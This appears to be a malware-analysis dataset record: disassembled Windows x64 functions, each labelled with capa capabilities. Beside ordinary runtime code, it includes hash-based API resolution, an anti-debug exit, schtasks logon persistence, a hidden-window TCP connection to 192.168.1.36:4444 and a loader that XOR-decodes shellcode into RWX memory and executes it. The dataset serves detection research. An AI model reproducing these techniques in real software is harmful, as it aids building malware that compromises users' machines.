joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140088640
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
mov rdi, r8
mov ebp, r9d
xor r8d, r8d
mov rsi, rdx
mov rbx, rcx
cmp rdi, 0xffffffffffffffff
jne 0x1400886a4
movzx eax, byte [rdx]
mov edi, r8d
test al, al
je 0x140088698
nop dword [rax]
nop word [rax + rax]
imul r8d, r8d, 0x1003f
inc rdi
movzx eax, al
add r8d, eax
movzx eax, byte [rdi + rdx]
test al, al
jne 0x140088680
test rdi, rdi
jne 0x1400886d2
xor eax, eax
jmp 0x140088757
mov rdx, r8
test rdi, rdi
je 0x14008869d
nop dword [rax]
movzx eax, byte [rdx + rsi]
test al, al
je 0x1400886cc
imul r8d, r8d, 0x1003f
inc rdx
add r8d, eax
cmp rdx, rdi
jb 0x1400886b0
jmp 0x140088698
mov r8d, 0x11
mov eax, dword [rcx + 0x128]
mov edx, r8d
movzx ecx, byte [rcx + 0x12c]
xor edx, ebp
mov qword [rsp + 0x30], r14
mov r14d, 0xffffffff
cmp ebp, r14d
cmove edx, r8d
imul rax, rdx
shr rax, cl
imul eax, dword [rbx + 0x120]
mov rbx, qword [rbx + 0x110]
sub edx, eax
mov rbx, qword [rbx + rdx*8]
test rbx, rbx
je 0x14008874f
mov eax, dword [rbx + 0x30]
cmp eax, edi
jne 0x14008873e
cmp dword [rbx + 0x14], ebp
jne 0x14008873e
lea rcx, [rbx + 0x34]
cmp eax, 0xb
jbe 0x14008872f
mov rcx, qword [rbx + 0x38]
mov r8d, edi
mov rdx, rsi
call fcn.1400a0260
test eax, eax
je 0x140088746
mov rbx, qword [rbx]
test rbx, rbx
jne 0x140088716
test rbx, rbx
je 0x14008874f
mov r14d, dword [rbx + 0xc]
mov eax, r14d
mov r14, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x14008a910
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x140129778]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rbx, qword [r9 + 0x10]
mov rdi, r9
mov r14, r8
mov rsi, rdx
mov r15, rcx
cmp rbx, 0x20
ja 0x14008aa04
xor r12d, r12d
nop dword [rax + rax]
mov r10, qword [rdi + 8]
mov r9, r12
test rbx, rbx
je 0x14008a998
lea rax, [rsp + 0x20]
sub r10, rax
nop dword [rax]
nop dword [rax + rax]
lea r8, [rsp + 0x20]
mov ecx, 0x20
add r8, r9
movzx edx, byte [r10 + r8]
lea eax, [rdx - 0x41]
cmp al, 0x19
cmova ecx, r12d
inc r9
xor cl, dl
mov byte [r8], cl
cmp r9, rbx
jb 0x14008a970
mov rdx, rbx
lea rcx, [rsp + 0x20]
call fcn.14008a180
mov dword [rsi], eax
test eax, eax
jne 0x14008a9c1
mov rax, qword [r15]
lea rdx, [rsp + 0x20]
mov r8, rbx
movzx ecx, byte [rax + 0x48]
call fcn.1400936f0
mov dword [rsi], eax
cmp dword [rsi], r12d
jne 0x14008aa2c
mov rdx, rbx
lea rcx, [rsp + 0x20]
call fcn.14008a650
test eax, eax
je 0x14008aa04
mov ecx, dword [r14]
test eax, ecx
jne 0x14008aa25
or ecx, eax
xor r8d, r8d
mov dword [r14], ecx
mov rdx, rdi
lea rcx, [r15 + 8]
call fcn.140093c80
cmp al, 2
jne 0x14008aa04
mov rbx, qword [rdi + 0x10]
cmp rbx, 0x20
jbe 0x14008a950
mov eax, 0x1a
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14009e4e0
add rsp, 0x50
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov eax, 0x37
jmp 0x14008aa09
xor r8d, r8d
lea rcx, [r15 + 8]
mov rdx, rdi
call fcn.140093c80
cmp al, 2
jne 0x14008aaa3
mov rdx, qword [rdi + 0x10]
cmp rdx, 0x20
ja 0x14008aaa3
mov r11, qword [rdi + 8]
mov r10, r12
test rdx, rdx
je 0x14008aa8a
lea rax, [rsp + 0x20]
sub r11, rax
nop dword [rax]
lea r9, [rsp + 0x20]
mov ecx, 0x20
add r9, r10
movzx r8d, byte [r11 + r9]
lea eax, [r8 - 0x41]
cmp al, 0x19
cmova ecx, r12d
inc r10
xor cl, r8b
mov byte [r9], cl
cmp r10, rdx
jb 0x14008aa60
lea rcx, [rsp + 0x20]
call fcn.14008a650
cmp eax, 0x10
jne 0x14008aaa3
or dword [r14], eax
xor eax, eax
jmp 0x14008aa09
mov rax, qword [rdi + 8]
mov qword [r15 + 0x18], rax
xor eax, eax
jmp 0x14008aa09
Function at 0x14009d028
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14009d0ac
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14010bd40]
cmp byte [rcx + rax], 0
je 0x14009d0ac
dec r8
sub rdx, 1
jne 0x14009d092
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14009ee50
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14009ee9a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14009ee9a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14009ee9a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14009ee9a
cmp dword [rcx + 0x84], 0xe
jbe 0x14009ee9a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14009ee9c
xor al, al
add rsp, 0x28
ret

Function at 0x1400af984
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x1400af817
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400af817
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400af817
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400af817
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400af817
cmp dword [rcx + 0x84], 0xe
jbe 0x1400af817
cmp dword [rcx + 0xf8], 0
je 0x1400af817
mov ecx, ebx
call fcn.1400af8b8
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.1400af6a8
cmp dword [rbp + 0x20], 0
je 0x1400af864
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400af86c
int3
xor r8d, r8d
xor edx, edx
jmp 0x1400af7b0
Function at 0x1400c5170
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400c5198
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400c5198
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001450
Capabilities:
Hash data using fnv

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov dword [rbp - 4], 0x811c9dc5
jmp 0x140001486
mov rax, qword [rbp + 0x10]
lea rdx, [rax + 1]
mov qword [rbp + 0x10], rdx
movzx eax, byte [rax]
movzx eax, al
xor dword [rbp - 4], eax
mov eax, dword [rbp - 4]
imul eax, eax, 0x1000193
mov dword [rbp - 4], eax
mov rax, qword [rbp + 0x10]
movzx eax, byte [rax]
test al, al
jne 0x140001465
mov eax, dword [rbp - 4]
add rsp, 0x10
pop rbp
ret

Function at 0x14000149a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov rax, qword [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x1400014ce
mov eax, 0
jmp 0x1400015c3
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x88]
mov edx, eax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0x20]
mov edx, eax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0x24]
mov edx, eax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0x1c]
mov edx, eax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov qword [rbp - 0x40], rax
mov dword [rbp - 4], 0
jmp 0x1400015b2
mov eax, dword [rbp - 4]
lea rdx, [rax*4]
mov rax, qword [rbp - 0x30]
add rax, rdx
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov qword [rbp - 0x48], rax
mov rax, qword [rbp - 0x48]
mov rcx, rax
call fcn.140001450
cmp dword [rbp + 0x18], eax
sete al
test al, al
je 0x1400015ae
mov rax, qword [rbp - 0x10]
mov edx, dword [rbp - 4]
lea rcx, [rdx + rdx]
mov rdx, qword [rbp - 0x38]
add rdx, rcx
movzx edx, word [rdx]
movzx edx, dx
lea rcx, [rdx*4]
mov rdx, qword [rbp - 0x40]
add rdx, rcx
mov edx, dword [rdx]
mov edx, edx
add rax, rdx
jmp 0x1400015c3
add dword [rbp - 4], 1
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0x18]
cmp dword [rbp - 4], eax
jb 0x140001547
mov eax, 0
add rsp, 0x70
pop rbp
ret

Function at 0x1400015c9
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
call rax
test eax, eax
jne 0x1400015f0
rdtsc
shl rdx, 0x20
or rax, rdx
nop
and eax, 0xf
test rax, rax
jne 0x1400015f7
mov eax, 1
jmp 0x1400015fc
mov eax, 0
test al, al
je 0x14000160e
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
nop
add rsp, 0x20
pop rbp
ret
Function at 0x140001615
Capabilities:
Execute command
Schedule task via schtasks

Disassembly:
push rbp
sub rsp, 0x270
lea rbp, [rsp + 0x80]
lea rax, str.GetModuleFileNameA
mov rcx, rax
call fcn.140001450
mov edx, eax
lea rax, str.kernel32.dll
mov rcx, rax
call fcn.14000149a
mov qword [rbp + 0x1e8], rax
mov r9, qword [rbp + 0x1e8]
lea rax, [rbp + 0xe0]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
call r9
lea rax, [rbp + 0xe0]
movzx eax, byte [rax]
test al, al
je 0x1400016a4
lea rdx, [rbp + 0xe0]
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, str.schtasks__create__tn__MyTask___tr___s___sc_onlogon
mov rcx, rax
call fcn.1400169a0
lea rax, [rbp - 0x60]
mov rcx, rax
call sub.msvcrt.dll_system
jmp 0x1400016a5
nop
add rsp, 0x270
pop rbp
ret

Function at 0x1400016ae
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Convert ip address from string
Create tcp socket
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x1d0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x160], rcx
mov dword [rbp + 0x168], edx
lea rax, [rbp - 0x50]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x148], rax
mov word [rbp - 0x60], 2
mov eax, dword [rbp + 0x168]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp - 0x5e], ax
lea rax, [rbp - 0x60]
lea rdx, [rax + 4]
mov rax, qword [rbp + 0x160]
mov r8, rdx
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_inet_pton]
call rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x148]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
mov rax, qword [rbp + 0x148]
add rsp, 0x1d0
pop rbp
ret

Function at 0x140001853
Capabilities:
Hide graphical window

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
call fcn.14000b5a0
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
call fcn.1400015c9
call fcn.140001615
mov edx, 0x115c
lea rax, str.192.168.1.36
mov rcx, rax
call fcn.1400016ae
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0xffffffffffffffff
je 0x1400018bf
mov rax, qword [rbp - 8]
mov rcx, rax
call fcn.14000176e
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 0
add rsp, 0x30
pop rbp
ret

Function at 0x14000b7b0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400160a0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400160a0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x14000b820
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400e00b4]
mov rbx, rcx
test esi, esi
jle 0x14000b950
mov rax, qword [0x1400e00b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000b86b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14000b8f5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14000b850
mov rcx, rbx
call fcn.14000c290
mov rdi, rax
test rax, rax
je 0x14000b972
mov rax, qword [0x1400e00b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.14000c3d0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400e00b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000b957
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14000b8ee
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x14000b900
add dword [0x1400e00b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400e00b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000b8ee
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14000b7b0
nop dword [rax]
xor esi, esi
jmp 0x14000b878
mov rax, qword [0x1400e00b8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.14000b7b0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.14000b7b0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14000bf00
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400e0120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400e0100]
test rbx, rbx
je 0x14000bf5c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x14000bf53
test eax, eax
jne 0x14000bf53
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000bf38
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14000c290
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400bb260]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000c2b0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000c2b8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000c2b0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000c30d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000c304
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000c2b0
add rax, 0x28
cmp rax, r9
jne 0x14000c2f0
xor eax, eax
ret

Function at 0x14000c310
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400bb260]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000c32f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14000c338
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000c32f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x14000c3d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400bb260]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000c3ef
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14000c3f8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140077090
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, qword [rdi]
call sub.msvcrt.dll__fileno_1
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sub.msvcrt.dll__read
movsxd rbp, eax
cmp eax, 0xffffffff
je 0x1400770d8
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x1400770aa
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1400af670
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400b4220]
jmp 0x14000d140

Function at 0x1400af680
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400b4220]
jmp 0x14000d140
Function at 0x100084800
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x50
rdtsc
shl rdx, 0x20
or rax, rdx
cdqe
mov qword [0x100495210], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
lea rbp, [0x100000000]
xor ebx, ebx
and eax, 0x80000000
cmp dword [0x10047a0e8], ebx
mov dword [0x10047a52c], eax
jne 0x10008485e
lea rcx, [0x10047a090]
call fcn.100401ebc
cmp eax, ebx
jl 0x100084a4f
mov dword [0x10047a0e8], 1
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r8d, 0x80000000
movsxd rdx, dword [0x10000003c]
lea rcx, [0x100000000]
mov edx, dword [rdx + rbp + 0x50]
mov rdi, qword [rsp + 0x28]
add rdx, rcx
lea rax, [rdi + r8]
cmp rdx, rax
jb 0x100084899
lea rdi, [rdx - 0x80000000]
lea rdx, [rdi + 0xffff]
and rdx, 0xffffffffffff0000
mov rdi, qword [rsp + 0x30]
lea rax, [rdi - 0x80000000]
cmp rcx, rax
mov qword [0x100493ee0], rdx
jbe 0x1000848c8
mov qword [0x10047a028], rdi
jmp 0x1000848d2
add rcx, r8
mov qword [0x10047a028], rcx
mov word [0x10047a028], bx
mov rax, qword [0x10047a028]
sub rax, rdx
shr rax, 0x10
mov qword [0x10047b438], rax
mov eax, ebx
cmp eax, ebx
jl 0x100084a4f
mov rax, qword [0x10047a248]
cmp rax, 1
jae 0x10008493f
lea rax, [rax + rax*4]
lea rcx, [rbp + rax*8 + 0x47a3e8]
call fcn.100401ebc
mov edx, eax
cmp eax, ebx
jl 0x100084938
mov rax, qword [0x10047a248]
add rax, 1
mov qword [0x10047a248], rax
cmp rax, 1
jb 0x100084905
cmp edx, ebx
jge 0x10008493f
mov eax, edx
jmp 0x100084a4f
mov eax, dword [0x10005e244]
cmp eax, ebx
je 0x1000849da
lea r9, [rsp + 0x78]
mov edx, dword [0x1002f3aa4]
lea rsi, section..data
mov eax, dword [0x10005e244]
mov r8d, 0x40
imul edx, eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, ebx
jne 0x10008499b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x54f
cmp eax, ebx
cmove eax, ecx
movzx ecx, ax
or ecx, 0x80070000
cmp eax, ebx
cmovle ecx, eax
jmp 0x1000849dc
mov r8, rbx
mov eax, dword [0x10005e244]
cmp eax, ebx
jbe 0x1000849da
mov edi, dword [0x1002f3aa4]
mov ecx, dword [0x1002f3aa4]
mov dword [rbp + r8*4 + 0x478cb0], 0x3bd7
xor eax, eax
imul rdi, r8
add rdi, rsi
add r8, 1
rep stosb byte [rdi], al
mov eax, dword [0x10005e244]
cmp r8, rax
jb 0x1000849a8
mov ecx, ebx
cmp ecx, ebx
jge 0x1000849e4
mov eax, ecx
jmp 0x100084a4f
mov ecx, dword [0x100494f30]
cmp ecx, ebx
je 0x100084a36
mov edx, dword [0x100494f28]
lea rax, [rdx + rbp + 0x494f58]
lea rdi, [0x100494f58]
mov qword [0x100494f38], rdi
mov qword [0x100494f40], rax
mov eax, dword [0x100494f2c]
add rdx, rax
lea rax, [rdx + rbp + 0x494f58]
mov qword [0x100494f48], rax
add rcx, rdx
add rcx, rdi
mov qword [0x100494f50], rcx
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x70], ebx
mov eax, 0xdbb6bf40
cmp dword [rsp + 0x70], ebx
cmovl ebx, dword [rsp + 0x70]
mov eax, ebx
mov rbx, qword [rsp + 0x80]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001230
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x38
mov rax, qword [0x140024008]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov rdx, rcx
mov qword [rsp + 0x20], 0
lea rcx, [rsp + 0x20]
lea r8, [0x140021700]
call fcn.140008090
test eax, eax
jne 0x1400012ba
cmp qword [rsp + 0x20], 0
je 0x1400012ba
mov ecx, 0x176600
mov qword [rsp + 0x30], rbx
call fcn.1400086bc
mov r9, qword [rsp + 0x20]
mov edx, 1
mov r8d, 0x176600
mov rcx, rax
mov rbx, rax
call fcn.140008348
mov rcx, qword [rsp + 0x20]
call fcn.1400068f0
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140001bf0
add rsp, 0x38
ret
mov ecx, 0xffffffff
call fcn.140006674
int3

Function at 0x140001570
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
mov ecx, 0x1e07e
call fcn.1400066ac
mov edi, 0x176600
nop dword [rax]
call fcn.140006680
mov r8d, eax
lea rbx, [rbx + 1]
mov eax, 0x2bc37baf
imul r8d
sar edx, 0x12
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x176600
sub r8d, ecx
inc r8b
xor r8b, byte [rbx - 1]
xor r8b, 0x7e
mov byte [rbx - 1], r8b
sub rdi, 1
jne 0x140001590
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x1400015e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x140024008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebx, ecx
mov dword [rsp + 0x40], 0
mov ecx, 0x30
call fcn.140001c10
movups xmm0, xmmword [str.Arise__fair_sun__and_ate_the_envious_moon_]
mov r8, rax
mov qword [rsp + 0x30], 0x2a
mov qword [rsp + 0x38], 0x2f
movups xmmword [rax], xmm0
mov qword [rsp + 0x20], rax
movups xmm1, xmmword [0x140021720]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x140021730]
movsd qword [rax + 0x20], xmm0
movzx ecx, word [0x140021738]
mov word [rax + 0x28], cx
lea rcx, [rsp + 0x20]
mov byte [rax + 0x2a], 0
call fcn.140001560
mov edx, 0x30
movsxd rdi, eax
mov rcx, r8
call fcn.140001c4c
xor edx, edx
lea rcx, [rsp + 0x20]
cmp ebx, 4
sete dl
inc edx
call fcn.1400012d0
cmp qword [rax + 0x18], 0x10
jb 0x140001695
mov rax, qword [rax]
mov rcx, rax
call fcn.140001230
mov rdx, qword [rsp + 0x38]
mov rsi, rax
cmp rdx, 0x10
jb 0x1400016dd
mov rcx, qword [rsp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400016d8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000177a
call fcn.140001c4c
lea rcx, str.But__soft__what_light_through_yonder_window_breaks_
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0xf
mov byte [rsp + 0x20], 0
call fcn.140001010
mov r9d, 4
mov r8d, 0x3000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rdi
mov rdx, rsi
mov rcx, rax
mov rbx, rax
call fcn.140005d20
lea r9, [rsp + 0x40]
mov r8d, 0x40
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, rbx
call fcn.140001570
call rbx
mov r8d, 0x8000
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001bf0
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
call fcn.140008644
int3